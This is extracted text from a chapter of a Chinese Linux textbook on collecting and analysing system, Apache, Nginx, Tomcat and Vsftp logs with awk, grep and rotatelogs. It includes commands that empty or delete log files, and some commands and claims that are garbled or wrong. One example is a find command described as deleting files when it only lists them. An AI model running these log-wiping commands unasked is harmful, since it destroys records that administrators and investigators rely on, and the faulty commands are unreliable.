Linux 网络日志分析与流量监控


第 1 章 网络日志获取与分析 1 第一篇 日志分析基础 第 1 章 网络日志获取与分析 企业信息系统中会包含多种设备,如路由器、防火墙、IDS/IPS、交换机、服务器和 SQL 数据库等。各种复杂的应用系统和网络设备每天都产生大量的日志,如果不加以处理, 查找如此海量的数据,对管理员来说如同一场噩梦。本章将介绍如何获取并分析各类系统的 日志。学习好本章内容,将为后续章节的案例分析打下良好的基础。 1.1 网络环境日志分类 本书把网络环境中各种复杂的日志分为三类:操作系统日志(UNIX/Linux,Windows 等)、网络设备日志(路由交换设备、安全设备)、应用系统日志(Web 等各种网络应用)。 本节仅对各种系统日志做一个分类,其细节在 1.2 节~1.14 节中讲解。 1.1.1 UNIX/Linux 系统日志 UNIX/Linux 的系统日志能细分为三个日志子系统: (1)登录时间日志子系统:登录时间日志通常会与多个程序的执行产生关联,一般情况 下,将对应的记录写到/var/log/wtm 和/var/run/utmp 中。为了使系统管理员能够有效地跟踪谁 在何时登录过系统,一旦触发 login 等程序,就会对 wtmp 和 utmp 文件进行相应的更新。本 书中很多网络取证案例都会涉及这两个登录文件。 (2)进程统计日志子系统:主要由系统的内核来实现完成记录操作。如果一个进程终 止,系统就能够自动记录该进程,并在进程统计的日志文件中添加相应的记录。该类日志能 够记录系统中各个基本的服务,可以有效地记录与提供相应命令在某一系统中使用的详细统 计情况。 (3)错误日志子系统:其主要由系统进程 syslogd(新版 Linux 发行版采用 rsyslogd 服 务)实现操作。它由各个应用系统(例如 Http、Ftp、Samba 等)的守护进程、系统内核来 自动利用 syslog 向/var/log/messages 文件中进行记录添加,用来向用户报告不同级别的事件 (第 3 章将详细讲解这部分内容)。 UNIX/Linux 系统的主要日志文件格式表述如下: (1)基于 syslogd 的日志文件。该类型主要采用 Syslog 协议和 POSIX 标准进行定义,其 日志文件的内容通常以 ASCII 文本形式存在,一般由以下几部分组成:日期、时间、主机 名、IP 地址和优先级等。syslog 优先级可以分为 0、1、2、3、4、5、6 和 7 级共 8 个级别, 每个级别对应不同的核心程序所产生的日志。 1.1 网络环境日志分类 2 UNIX/Linux 网络日志分析与流量监控 (2)应用程序产生的日志文件。这种类型的日志文件通常是 ASCII 码的文本文件格式。 到目前为止,大多数 UNIX/Linux 系统中,运行的程序会自动将对应的日志文件向 syslogd 进 行统一发送,并由 syslogd 最终进行统一的处理。该类型的日志文件能够参考 syslogd 进行处 理。大部分应用层的日志默认会存储在/var/log/messages 目录下,如图 1-1 所示。在这个目 录下,我们会看到很多熟悉的名字,比如/var/log/httpd/access_log 是由 Apache 服务产生的日 志文件;再比如/var/log/samba 是由 Samba 服务产生的日志文件;这种存储方式在日志量不 大时,通过过滤等方法就可以找出感兴趣的关键字。但如果服务日志需要归档处理就不可行 了。下面几节中将给出解决方法。 图 1-1 /var/log/messages 默认存放的日志 (3)操作记录日志文件:此类型的文件主要包括两类。 1)对各个终端的登录人员进行记录的日志信息 lastlog。该信息采取二进制的方式进行 存储(无法使用 vi 等编辑器直接打开),记录内容主要有:用户名、终端号、登入 IP、登入 使用时间等。 2)系统中的邮件服务器在运行的时候需要进行记录的日志 maillog,它的文件格式通常 比较复杂,但内容主要是 ASCII 文本,涉及进程名、邮件代号、日期、时间、操作过程的各 种相关信息。 1.1.2 Windows 日志 在 Windows 操作系统中,日志文件包括:系统日志、安全日志及应用程序日志,对于 管理员来说这三类日志要熟练掌握。 (1)系统日志。主要是指 Windows 2003/Windows 7 等各种操作系统中的各个组件在运 行中产生的各种事件。这些事件一般可以分为:系统中各种驱动程序在运行中出现的重大问 题、操作系统的多种组件在运行中出现的重大问题以及应用软件在运行中出现的重大问题 等,而这些重大问题主要包括重要数据的丢失、错误等,甚至是系统产生的崩溃行为。 (2)安全日志。Windows 安全日志与系统日志明显不同,主要记录各种与安全相关的事 件。构成该日志的内容主要包括:各种对系统进行登录与退出的成功或者不成功信息;对系统 第 1 章 网络日志获取与分析 3 中的各种重要资源进行的各种操作(比如:对系统文件进行创建、删除、更改等不同的操作)。 (3)应用程序日志。它主要记录各种应用程序所产生的各类事件。比如,系统中 SQL Server 数据库程序进行备份设定,一旦成功完成数据的备份操作,就立即向指定的日志发送 记录,该记录中包含与对应的事件相关的详细信息。  注意: Windows 操作系统一般采用二进制格式对它的日志文件进行存储。而且要打开这些日志 文件,通常也只有使用 Windows 事件查看器(event viewer)或第三方的日志分析工具进行 读取。在 Windows 的事件查看器里选中某一类日志,再选择事件查看器的属性就能轻松定 义日志的最大容量和是否归档等设置。 1.1.3 Windows 系统日志 由于多种 Windows 系统并存,系统管理员要对下列常见系统的日志存储位置和大小做 一些了解: 1.Windows 2000 Advanced Server(4194240KB) z 应用程序:C:\WINNT\system32\config\AppEvent.Evt z 安全:C:\WINDOWS\System32\config\SecEvent.Evt z 系统:C:\WINDOWS\System32\config\SysEvent.Evt z IIS 目录:%WinDir%\System32\LogFiles(日志容量为最大 4GB) Windows 2000 专业版/Windows XP 日志情况和以上标准相同。 2.Windows Server 2003 企业版(带活动目录情况) z 应用程序:C:\WINDOWS\system32\config\AppEvent.Evt z 安全性:C:\WINDOWS\System32\config\SecEvent.Evt z 系统:C:\WINDOWS\system32\config\SysEvent.Evt z 目录服务:C:\WINDOWS\system32\config\NTDS.Evt z DNS 服务器:C:\WINDOWS\system32\config\DnsEvent.Evt z 文件复制服务:C:\WINDOWS\system32\config\NtFrs.Evt 以上日志大小范围: 64KB~4194240KB 防火墙日志:C:\WINDOWS\pfirewall.log(容量为 32767KB) 当日志大小达到上限,处理方式有三种:按需覆盖事件、覆盖超过 X 天的事件(最长 天数 365)以及不覆盖事件(手动清除日志)。 3.Windows Server 2008 标准版 z 应用程序:%SystemRoot%\System32\Winevt\Logs\Application.evtx z 安全:%SystemRoot%\System32\Winevt\Logs\Security.evtx z 系统:%SystemRoot%\System32\Winevt\Logs\System.evtx z 防火墙:%systemroot%\system32\LogFiles\Firewall\pfirewall.log(防火墙最大容量为 32767KB) 在 Windows 2008 系统中,日志容量极限值上升到 18014398509482047 KB,这个大小已 远大于一个单位存储容量,大家在设置时应根据自身磁盘空间的大小来灵活设置。另外从网 4 UNIX/Linux 网络日志分析与流量监控 络安全角度考虑也可以修改这个默认路径,可以通过编辑修改注册表 HKEY_LOCAL_ MACHINE\System\CurrentControlSet\ Services\EventLog\的内容来改变它们的位置。 4.Windows Vista/Windows 7/Windows 8 日志情况 z 应用程序:%SystemRoot%\System32\Winevt\Logs\Application.evtx z 最大日志容量:18014398509482047 KB,约为 1801439TB(1801PB) z 安全:%SystemRoot%\System32\Winevt\Logs\Security.evtx z 系统:%SystemRoot%\System32\Winevt\Logs\System.evtx z 防火墙:system32\LogFiles\Firewall\pfirewall.log,其日志容量最大为 32767KB 1.1.4 网络设备日志 通常网络设备包括路由交换设备、防火墙、入侵检测及 UPS 系统等。由于上述设备的 厂家和标准差异,它们在产生日志时,必然存在着不同的格式。下面以防火墙和交换机举例 说明: (1)PIX 防火墙日志 该日志是与实际的防火墙系统产品相关的。其主要由 Cisco 公司进行研发,该防火墙主 要基于专用操作系统,同时采取实时的嵌入式系统来形成支撑。PIX 系列的防火墙通常都为 用户提供了比较完备的安全审计方法,其主要记录的事件如下: z AAA(认证、授权和记账)事件。 z Connection(连接)事件。 z SNMP 事件。 z Routing errors(路由错误)事件。 z Failover(故障转移)事件。 z PIX 系统管理事件。 基于 PIX 系统的防火墙产品,其相关的日志采用“%”作为一个标志符以标志某一记录 的开始,其记录文件不超过 1024 个字符。 (2)交换机日志 中高端交换机以及各种路由器,一般情况下都会采取一定的方式记录设备自身的运行状 态,并且将系统在运行中产生的一些异常情况记录下来。另外,在兼容性方面,上述网络设 备通常都提供了对 Syslog RFC 3164 的支持,并对该协议所明确的各种日志处理机制提供支 持,因此,可以通过 syslog 协议来实现不同设备之间多种日志的相互转发。 1.1.5 应用系统的日志 应用系统的日志是指在系统的工作过程中,对应用程序的某些重要事件进行记录形成的 日志,例如 Apache、FTP、Samba、NFS、DHCP、NFS 及微软 IIS 日志等,从本章 1.2 节开 始,将重点分析这些应用系统的日志格式及含义,第 3 章将讲解如何收集这些日志。 1.2 Web 日志分析 这里我们先以最为常见的 Apache 服务器为例分析说明。Apache 服务器的日志文件中包 第 1 章 网络日志获取与分析 5 含着大量有用的信息,这些信息经过分析和深入挖掘之后能够最大限度地在系统管理人员及 安全取证人员的工作中发挥重要作用。 1.2.1 访问日志记录过程 Apache 日志大致分为两类:访问日志和错误日志。为了分析 Apache 日志,先了解 Apache 的访问日志记录的过程: (1)客户端向 Web 服务器发出请求,根据 HTTP 协议,这个请求中包含了客户端的 IP 地址、浏览器的类型、请求的 URL 等一系列信息。 (2)Web 服务器收到请求后,根据请求将客户要求的信息内容直接(或通过代理)返回 到客户端,如果出现错误,则报告出错信息,浏览器显示得到的页面,并将其保存在本地高 速缓存中。如果请求/响应通过代理,则代理也缓存下传来的页面。 (3)Web 服务器同时将访问信息和状态信息等记录到日志文件里。客户每发出一次 Web 请求,上述过程就重复一次,服务器则在日志文件中增加一条相应的记录。因此,日志文件 比较详细地记载了用户的整个浏览过程。工作过程如图 1-2 所示。 图 1-2 Apache 日志记录过程 1.2.2 Apache 访问日志的作用 Apache 访问日志在实际工作中非常有用,比较典型的例子是进行网站流量统计,查看 用户访问时间、地理位置分布、页面点击率等。Apache 的访问日志具有如下 4 个方面的 作用: z 记录访问服务器的远程主机 IP 地址,从而可以得知浏览者来自何处; z 记录浏览者访问的 Web 资源,可以了解网站中的哪些部分最受欢迎; z 记录浏览者使用的浏览器,可以根据大多数浏览者使用的浏览器对站点进行优化; z 记录浏览者的访问时间; 1.2.3 访问日志的位置 Apache 的访问日志在其配置文件中就定义好了,可以根据实际需要修改。下面以 Ubuntu Linux 为例,讲解 Apache 默认日志位置。在 Apache 配置文件/etc/apache2/apache2.conf 中定义访问日志位置为 CustomLog /var/log/apache2/access_log combined 从上面这条配置命令可看出访问日志位于/var/log/apache2/access_log 文件中。如果是 FreeBSD 平台,Apache 日志位于/usr/local/apache/logs 或/usr/local/apache2/logs 目录下。谁也 6 UNIX/Linux 网络日志分析与流量监控 不可能记住每个系统的日志位置,在面对陌生的 UNIX/Linux 系统时要善于利用 find 等查询 命令来找到它们的确切位置。 1.2.4 访问日志格式分析 RAW log 日志又称原始日志。分析这种日志的基础是了解日志中每段信息的含义,在 Apache 中访问日志功能由 mod_log_config 模块提供,它用默认的 CLF(common log format)来记录访问日志。例如 LogFormat "%h%1%u%t %r"下面是一条 Apache 服务器记录 的实际访问日志,各列(域)含义见表 1-1。 200.202.39.131 - - [21/Nov/2012:10:45:13 +0800] "GET /original/warn.png HTTP/1.1" 200 1961 远程主机 IP 地址 请求时间 时区 方法 资源 URL 协议 返回状态 发送字节 表 1-1 Apache 访问日志分析 域 内 容 含 义 $1 200.202.39.131 远程主机 IP 地址,%h $2 - 占位符,%1 $3 - 占位符,%u $4 21/Nov/2012:10:45:13 服务器完成请求处理时间,[日/月/年:小时:分钟:秒:时区]%t $5 +0800 时区 $6 GET 方法(GET、POST)%r\ $7 /original/warn.png 资源 URL $8 HTTP/1.1 协议 $9 200 返回状态%s $10 1961 发送给客户端总字节数,%b  注意: z 主机地址(表 1-1 中为 200.202.39.131)后面紧跟的两项内容现在很少使用,所以用 两个“ -”占位符替代。 z 如果使用 HostNameLookups on 指令,将第一部分访问 IP 地址换成主机名,会降低 Apache 的性能,请慎用。 1.2.5 HTTP 返回状态代码 Apache 的返回状态记录在访问日志中,它指明具体请求是否已成功,而且还可以揭示 请求失败的确切原因。日志记录的第 6 项(对应表 1-1 中的$9)信息是状态代码。它说明 请求是否成功,或者遇到了什么样的错误。正常情况下,这项值是 200,表示服务器已经 成功地响应浏览器的请求。我们归纳一下,以 2 开头的状态代码表示成功,以 3 开头的状 态代码表示由于各种原因用户请求被重定向到了其他位置,以 4 开头的状态代码表示客户 端存在某种错误,以 5 开头的状态代码表示服务器遇到了某个错误。图 1-3 描述了主要状 态代码的含义。 第 1 章 网络日志获取与分析 7 图 1-3 HTTP 返回代码 1.2.6 记录 Apache 虚拟机日志 若希望在虚拟机中使用日志记录,需在 Apache 配置文件中 CustomLog 和 ErrorLog 位置 加入虚拟机对应容器。下面举个例子。假设域名为 www.test.com,我们加入如下代码,就能 记录虚拟机日志,在日常操作中大家应根据自身系统的实际情况进行相应调整。 ServerName www.test.com DocumentRoot /var/www ErrorLog /var/log/apache/error_log_www.test.com CustomLog /var/log/apache/access_log_www.test.com 注意 Apache 中的虚拟机不要加得太多,否则易出现文件描述符不够的现象。 1.2.7 Web 日志统计举例 通常可以用 tail 命令来实时查看日志文件变化,但是各种应用系统中的日志非常复 杂,一堆长度超过你浏览极限的日志出现在你眼前时,你会觉得非常无奈。怎么办呢?这 时可以使用 grep、sed、awk 和 sort 等筛选工具帮助你解决这个问题。下面总结了几个常见 分析方法。 (1)查看 IP($1 代表 IP) #cat access_log | awk '{print $1}' (2)对 IP 排序 #cat access_log | awk '{print $1}'|sort (3)打印每一重复行出现的次数,“uniq -c”表示标记出重复数量 #cat access_log | awk '{print $1}'|sort|uniq -c 8 UNIX/Linux 网络日志分析与流量监控 (4)排序并统计行数 #cat access_log | awk '{print $1}'|sort|uniq -c|sort -rn|wc -l (5)显示访问前 10 位的 IP 地址,便于查找攻击源 #cat access_log|awk '{print $1}'|sort|uniq -c|sort -nr|head -10 注意 awk '{print $1'},它表示取日志的第一段。如果换成别的日志,其 IP 地址在第 3 段,那么就要改变相应数值。 (6)显示指定时间以后的日志($4 代表时间) #cat access_log |awk '$4>="[23/Jul/2012:01:00:01"' access_log 建议大家在排错时,同时打开多个终端,比如在一个窗口中显示错误日志,在另一个窗 口中显示访问日志,这样就能够随时获知网站上发生的情况。 (7)找出访问量最大的 IP,并封掉(对排错很有帮助) #cat access_log |awk '{print $1}'|sort|uniq -c |sort -nr |more 9999 192.168.150.179 11 192.168.150.1 #iptables -I INPUT -s 192.168.150.179 -j DROP #iptables -I INPUT -s 192.168.150.0/24 -j DROP 如果将上面的 Shell 做以下变形就可以得出访问量 TOP 10: #cat access_log |awk '{print $1}'|sort|uniq -c |sort -nr |head -10 (8)找出 Apache 日志中,下载最多的几个 exe 文件(下载类网站常用,这里以.exe 扩 展名举例) [root@localhost httpd]# cat access_log |awk '($7 ~/.exe/){print $10 "" $1 "" $4""$7}' |sort -n |uniq -c |sort -nr |head -10 2 - 192.168.150.1[25/Jul/2012:05:46:05/test.exe 1 - 192.168.150.152[25/Jul/2012:05:46:47/test.exe [root@localhost httpd]# 使用如下命令: #cat access_log |awk `($10 >10000000 && $7 ~/.exe/) {print $7}` |sort –n|uniq –c|sort –nr|head -10 这条命令增加一个>10000000 的条件判断就可以显示出大于 10MB 的 exe 文件,并统计 对应文件发生次数。这条命令对于网站日常分析是非常有帮助的,大家可以灵活使用。 (9)简单统计流量 #cat access.log |awk '{sum+=$10}' 第 1 章 网络日志获取与分析 9 (10)统计 401 访问拒绝的数量,便于找出可疑 IP #cat access_log |awk '(/401/)'|wc -l 下面的这条命令可以统计所有状态信息,用起来很方便: #cat access_log |awk '{print $9}' |sort|uniq –c |sort -rn (11)查看某一时间内的 IP 连接情况 grep "2012:05"access_log |awk '{print $4}'|sort|uniq –c |sort -nr 1.2.8 Apache 错误日志分析 错误日志记录了服务器运行期间遇到的各种故障,以及一些普通的诊断信息,比如服务 器启动/关闭时间。错误日志和访问日志一样也是 Apache 的标准日志,它在 httpd.conf 配置 文件中 ErrorLog logs/ error_log 处定义路径和格式。错误日志和访问日志一般放在同一个目 录里。 日志文件记录信息级别的高低,控制日志文件记录信息的数量和类型。这是通过 LogLevel 指令实现的,该指令默认设置的级别是 error,有关该指令中允许设置的各种选项 的完整清单,请参见 http://wiki.apache.org/httpd/FAQ 的 Apache 文档。最常见的错误日志文 件有两类,一类是文档错误信息,另一类是 CGI 错误信息。 (1)文档错误 文档错误和服务器应答中的 400 系列代码对应,最常见的就是 404 错误——Document Not Found(文档没有找到)。这种错误在用户请求的 URL 不存在时候出现,一般是由于用 户输入的 URL 错误,或者由于 Web 服务器上已存在的文件被删除或移动。 错误日志中出现的记录如下所示: 错误日志和访问日志格式类似,不同之处在[error]这一项,它表示记录级别,为方便开 发和调试分为 0~7 级,见表 1-2。日志中的错误级别由配置文件中 LogLevel 指令负责调 整,它的主要作用是控制错误日志的详细程度(在 httpd.conf 配置文件中说明)。 10 UNIX/Linux 网络日志分析与流量监控 表 1-2 错误日志记录等级 紧 急 程 度 等 级 说 明 0 emerg 出现紧急情况使得该系统不可用,如系统宕机 1 alert 需要立即引起注意的情况 2 crit 关键错误,危险情况的警告,由于配置不当所致 3 error 一般错误 4 warn 警告信息,不算是错误信息,主要记录服务器出现的某种信息. 5 notice 需要引起注意的情况 6 info 值得报告的一般消息,比如服务器重启 7 debug 由运行于 debug 模式的程序所产生的消息 从表 1-2 可知,记录级别为 0~7 级,日志记录量是从小向大方向增长,7 级为最高, 这和思科等路由器的 debug 模式相同。各级别的关系如图 1-4 所示。 图 1-4 日志记录等级 从图 1-4 中可以看出,日志按严重程度分为 8 组,从高到低依次为紧急(0 级别)、报 警(1 级)、关键、错误、一般错误、警告、通知及消息调试。圆圈越大,则说明所记录的日 志信息量越多。8 级 Debugging 调试级包含了上面 7 级记录的所有信息,所以它的日志量最 大,因此不要在工作的设备上启用这一级。 在正常运行的服务器上,一般有两种错误信息。一种是文档错误,最常见的就是 400 系 列错误,例如文件被移走或删除而出现的 404 错误等;另一种是 CGI 错误,主要由 CGI 程 序的问题引起。 (2)CGI 错误 错误日志还能诊断异常行为的 CGI 程序。为了进一步分析和处理方便,CGI 程序输出到 STDERR(Standard Error,标准错误设备)的所有内容都将直接进入错误日志。如果 CGI 程 序出现了问题,错误日志就会告诉我们有关问题的详细信息。 下面是一个例子,它是调试 CGI 代码时,错误日志中出现的一个错误记录: 第 1 章 网络日志获取与分析 11 错误日志记录通常以行为单位。在上面给出的情况中,CGI 错误就会出现多行情况, 从这一点看,Apache 日志级别的定义也不是很严格,例如在单个文件记录所有日志时,无 论使用哪种错误级别,在日志中总会显示 Notice 级别的信息,这些信息虽然是提醒程序员 需要注意,有时却显得多余。所以建议大家使用 Rsyslog 记录日志,这样就不会出现上述 问题。 默认将错误文件放在 apache 配置文件中 ServerRoot 的 logs 目录下,一般路径为 /var/log/apache2/error_log,这里假设文件名为 error_log(有的系统为 error.log)。  注意: 如果在配置文件中停止输出错误日志,例如: errorlog /dev/null 一旦服务器崩溃就会丢失很多有价值的调试信息,所以在万不得已的情况下不要使用此方 法。不过有时错误日志会变得非常大,这种情况见第 2 章的案例一。 1.2.9 日志轮询 运行一段时间的网站中,access_log 和 error_log 日志会不断增长,有时达到上 GB 甚至 更大,如果采用管道方式对大日志进行检索,会造成大量内存消耗,这时就需要对日志进行 “减肥”。这里说“减肥”不是要减少日志的内容,而是采用化整为零的方法将整个日志分成 若干段,按每天日期生成。前面讲过 Apache 错误日志的记录等级,有时候我们也可以尝试 使用调整错误日志记录级别的方法,比如改成“LogLevel emerg”,用这种方法来大大减少错 误日志的记录从而减少磁盘空间的占用。不过,凡事有利也有弊,除特殊原因外,一般还是 保持默认设置比较好。  注意: 千万不要因为 error_log 迅速膨胀,而萌生禁止错误日志的想法,有的读者会想如果将 http.conf 配置文件的“ ErrorLog logs/error_log”注释掉不就万事大吉了吗?其实不然,那样 做会导致 Apache 进程发生崩溃。 下面以天为单位截断访问日志文件和错误日志,步骤如下: (1)在 http.conf 文件中,找到以下两行并注释掉: CustomLog "logs/access_log" common ErrorLog "logs/error_log" (2)利用 Apache 自带的程序 rotatelogs 处理,需要添加两行内容。 这里的操作以 CentOS Linux 为例,其他 Linux 发行版本的 rotatelogs 路径要适当调整 (关键是要知道 rotatelogs 和 access_log 在文件系统中的路径)。 #vi /etc/httpd/conf/httpd.conf 添加如下两行内容: 12 UNIX/Linux 网络日志分析与流量监控 CustomLog "|/usr/sbin/rotatelogs -l /var/log/httpd/access-%Y-%m-%d.log 86400" common ErrorLog "|/usr/sbin/rotatelogs /var/log/httpd/error-%Y-%m-%d.log 86400" 修改效果如图 1-5 所示。 图 1-5 配置 Apache 日志轮询 除了不能随意关闭错误日志外,还要采用正确的方法,例如日志轮询法,来防止因日志 增长导致磁盘可用空间减少的情况出现。日志轮询方法配置指令如下: CustomLog "|/bin/rotatelogs /var/log/apache/logs/%Y-%m-%d.accesslogfile 100M" common 上面这条指令表示当日志文件超过 100MB 时,滚动该日志文件。把它扩展一下就可以 得到下面这条更方便的命令。 CustomLog "|/bin/rotatelogs -l /var/log/apache/log/access_log 86400 100M" combined 86400 ---日志滚动的时间是一天(以秒为单位) 100M ---日志大小(以兆为单位) combined ---采用复合格式 当这样调整之后,就可以像 Microsoft IIS 那样每天生成日志文件。日志的存储方式采用 轮询日志存储,可以为日志配置一个最大值,只要达到最大值,日志就从头再写,解决了日 志占用过多空间的问题。 1.2.10 清空日志的技巧 在某些特别紧急的情况下,例如需要立即腾出磁盘空间,如果检查出系统的日志占用空 间很多时,可以先清理日志,这时应首先关闭 Apache 服务,然后进入 access_log 所在目 录,使用如下命令: #cat /dev/null > access_log \\*重定向到 NULL 或者使用: #echo "" > access_log 照此处 修改 第 1 章 网络日志获取与分析 13 有时候,我们需要找出并删除超过一定大小的日志,建议先执行 find 命令,若找到的 日志是需要删除的,则使用“-exec rm {} \;”。 #find /var/log/httpd/ -size +2000c 例如在 httpd 目录下有多个超过 2000B 的日志,执行上面这条命令,将删除文件大小超 过 2000B 的所有文件,做这样的操作前一定要备份好数据。 最后要提示一点,删除日志文件后对应的网络服务就要重新启动,以免今后相应服务不 记录日志的情况发生。除了上面介绍的两条命令以外,还可以手工删除 access_log 然后再新 建一个 access_log 文件,当服务重启后,会自动继续往里面写入日志信息。 1.2.11 其他 Linux 平台 Apache 日志位置 由于 Linux 的发行厂家或组织的不同,其对应发行版本中系统默认的系统和网络服务的 配置文件会有细微差异,为了方便读者掌握日志分析方法,笔者总结了几个常用 Linux 发行 版本的 Apache 日志的位置,见表 1-3。 表 1-3 各平台 Apache 日志文件配置情况 Suse Linux Redhat Linux Cent OS Linux FreeBSD 日志文件 /var/log/apache2/access_log /var/log/apache /var/log/httpd/ /var/log/httpd-access.log 配置文件 /etc/apache2/httpd.conf /etc/httpd/conf/httpd.conf /etc/httpd/conf/httpd.conf /usr/local/etc/apache2/httpd.conf 程序文件 /usr/sbin/rcapache2 /usr/sbin/httpd /etc/rc.d/init.d/httpd 1.2.12 Nginx 日志 Nginx 由于出色的性能在高并发网站中应用比较广泛,成为 Apache 的一种不错的替代 品,它和 Apache 可以比喻成两兄弟,完成的任务都很相似,所以其日志文件的特性也相 同。Nginx 的日志文件分为访问日志和错误日志,一般情况下存放在/usr/local/nginx/logs 目录 下,access.log 代表访问日志,error.log 代表错误日志。有时候需要将日志指定到其他路径下 就需要修改 nginx.conf 配置文件。同样在运行过一段时间后 Nginx 服务器会产生大量日志文 件,其日志文件轮询的方法和 Apache 服务器类似,不再赘述。 1.2.13 Tomcat 日志 Tomcat 服务器日志配置信息在 tomcat 容器的配置文件 server.xml 中,在图 1-6 内,方 框中内容是日志位置。下面给出一个实例讲解。首先查看配置文件/etc/tomcat7/server.xml 的内容: 在图 1-6 中,pattern 后面的参数含义如下: z %h 表示服务器名称,如果在 Server.xml 里的 resolveHosts 值为 false 表示 tomcat 不会 将服务器 IP 地址通过 DNS 转换为主机名,这里就是 IP 地址了,这里是 192.168. 150.1。 z %l 表示 identd 返回的远端逻辑用户名,没有验证用户则是'-'。 z %u 表示经过验证的访问者,否则就是"-"。 14 UNIX/Linux 网络日志分析与流量监控 图 1-6 Tomcat 日志位置 z %t 表示处理请求的时间,以秒为单位,+0800 时区表示东八区。 z %s 表示 Http 响应的状态码,和 Apache 的相同。 z %b 表示发送的字节数。 prefix 表示日志文件名的前缀。这里是"localhost_access_log",此文件默认存放在 /var/log/tomcat7 目录中。 在 Server.xml 中,AccessLogValve 字段用来创建日志文件,格式与标准的 Web Server 日 志文件相同。可以用日志分析工具对日志进行分析,跟踪页面点击次数、用户会话的活动 等。某日志文件 localhost_access_log 记录内容如图 1-7 所示。 图 1-7 日志文件内容 1.2.14 常用 Apache 日志分析工具 1.用命令行工具分析 在对 apache 日志格式和内容都有所了解之后,这里总结了一些常用分析工具,它们看 上去不起眼,但有时却能发挥大作用,例如 cat、ccze、head、grep、less、more、tail 以及 wc 等,这几个命令用法简单,组合起来能发挥更大功能。例如,要过滤出包含特定关键字 的日志: #tail –f access_log |grep "关键字" 这条指令将 access_log 中新增的日志实时取出,再通过管道送给 grep,然后将其包含关 键字的行显示在屏幕直到用户强制退出程序。如果后面再加管道则过滤得更加精细。 #tail –f access_log |grep "关键字" |grep –v "MSIE" 这条指令会显示包含关键字且不含“MSIE”的行。如果后面再加 wc 指令则可以统计行 数,这留给读者自己来思考。 2.自动化分析工具 下面先了解一下 Apache 常用自动化日志分析工具,在本章最后给出应用实例。 (1)Webalizer(http://www.webalizer.org/download.html) 第 1 章 网络日志获取与分析 15 在 Apache 日志分析领域 Webalizer 算是老牌的免费日志分析程序,有关它的配置资料很 容易找到,功能一般。 (2)Awstats Awstats 是一个发展迅速的 Web 日志分析工具,它采用 Perl 语言开发,是个强大而有个 性的网站日志分析工具,针对 Apache、Nginx、Ftp 和 Sendmail 的日志都能进行分析。 (3)ApacheTop(http://freecode.com/projects/apachetop) ApacheTop 是一个命令行界面的日志统计工具,它可以动态地查看 apache 的日志文件, 还可以直观地显示访问的每个地址的请求数、速度及流量等信息。 使用方法为:#apachetop -f /var/log/httpd/access_log -T 1000 -d 2 (4)GoAccess(http://goaccess.prosoftcorp.com/download) GoAccess 是一个用来统计 Apache Web 服务器的访问日志的工具,可即时生成统计报 表,速度非常快。 1.3 FTP 服务器日志解析 FTP 是老牌的文件传输协议,在网络中应用非常广泛。本节就 Vsftp 服务器的日志进行 重点讨论,本书的 FTP 多级跳案例就会涉及本节学到的知识。在 Redhat Linux 系统下 Vsftp 的配置文件在/etc/vsftp/vsftp.conf 文件中。默认情况下,Vsftp 不单独记录日志,也就是说不 会输出到一个单独的文件中存储,而是统一存放到/var/log/messages 文件中。Vsftp 日志实例 显示如图 1-8 所示。 图 1-8 Vsftp 日志实例 通过在 messages 中过滤的方法可以看到 Vsftp 的客户机连接日志,但这段日志里只反 映了少量信息,如果需要查看更详细的信息该如何操作?下面来编辑/etc/vsftp/vsftp.conf 配 置文件。 如何将 Vsftp 服务器的日志单独输出到某个文件下呢?这里需要 A、B、C 三个步骤: A 16 UNIX/Linux 网络日志分析与流量监控 下面对重要语句做一些解释: 标识 A:启用 xferlog_enable=YES,它表示将客户机登录服务器后上传或下载的文件具 体信息记录下来。 标识 B:启用 xferlog_file=/var/log/vsftpd.log,它表示将上传下载写到指定文件,也就是 /var/log/xferlog 文件。 标识 C:启用 dual_log_enable=YES,它表示启用双份日志,一份日志由 xferlog 记录,同 时 vsftpd.log 也记录另一份日志,注意两份日志并非互为备份,它们内容不同,各有侧重。 接下来还得解释一下/usr/bin/xferstats 这个工具,它是日志统计工具,用于计算传输了多 少文件并创建日志文件。  注意: 在 Linux 系统中一定要安装 xferstats 的包后,才能使用它。 1.3.1 分析 vsftpd.log 和 xferlog vsftpd.log 和 xferlog 是 Vsftp 服务器记录日志的来源,下面重点对这两种日志文件的格 式做一下分析。 (1)vsftpd.log 实例分析 首先打开 vsftpd.log.1 文件,看看它的日志结构,如图 1-9 所示。 图 1-9 vsftpd 分离后的日志结构 在图 1-9 中,日志仅反映了部分 Ftp 登录情况,例如登录 IP 地址、用户名。但下载软 件内容不会记录下来,有时网管恰好关心这一段日志信息,这时我们需要同时参考 xferlog 日志,还记得上面说过的 xferstats 工具吗? (2)Xferlog 日志实例分析 xferlog 日志会记录 FTP 会话详细信息,它能够显示客户机向 FTP Server 上传/下载的文 件路径及名称认证方式等信息。下面我们看看这个文件的具体内容。 B C 第 1 章 网络日志获取与分析 17 Xferlog 日志格式如下,其解析见表 1-4。 Thu Jan 3 14:24:46 2013 0 192.168.150.1 65 /home/test/syslog.jpg a _ i r test ftp 0 * c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 表 1-4 xferlog 日志格式 域 内 容 含 义 1 Thu Jan 3 14:24:46 2013 访问时间 2 0 传输文件所用的时间 3 192.168.150.1 远程主机名或 IP 4 655 文件大小,单位 byte 5 /home/test/syslog.jpg 文件路径 6 a 传输类型: a 表示 ASCII 传输,用于文本类型; b 表示二进制传输,用于程序、多媒体文件 7 _ 特殊处理标志: _ 不做处理 C 压缩格式 U 非压缩格式 T Tar 文件格式 8 i 文件传输方向: o 从 FTP 服务器向客户端传输 i 从客户端向 FTP 服务器传输 9 r 访问模式: a 匿名用户 g 来宾(guest)用户 r 真实用户 10 test 用户名 11 ftp Ftp 服务器名称,通常为 ftp 12 0 认证方式,一般用 0 表示 13 * 认证用户 ID,在无需认证时用*表示,如果 vsftpd 使用了 PAM 配 置,这里会有虚拟用户名显示 14 c 传输状态:c 表示完成,i 表示传输异常  注意: 这里的认证是结合 PAM(一种可插入的安全验证模块)的方式,主要是为了保证安 全,在企业中常会用到 Vsftp+Pam+Postgresql 的架构,在这种架构中我们可以设置为用 MD5 工具来验证密码,这样客户机必须用 MD5 加密的密码登录系统才能成功获取文件,有关 PAM 的应用在第 9 章 SSH 加固中也会提到。 18 UNIX/Linux 网络日志分析与流量监控 1.3.2 中文对 Vsftp 日志的影响 在使用 RHEL5 系统中的 Vsftp(2.05 版)时可能会遇到中文日志的显示问题,我们看看 下面的例子。如果客户机上传的文件中含有中文字符,那么日志将显示乱码,例如新建一个 带中文的文件夹,发现在其日志(/var/log/xferlog 和/var/log/vsftpd.log)中就会产生如下内容 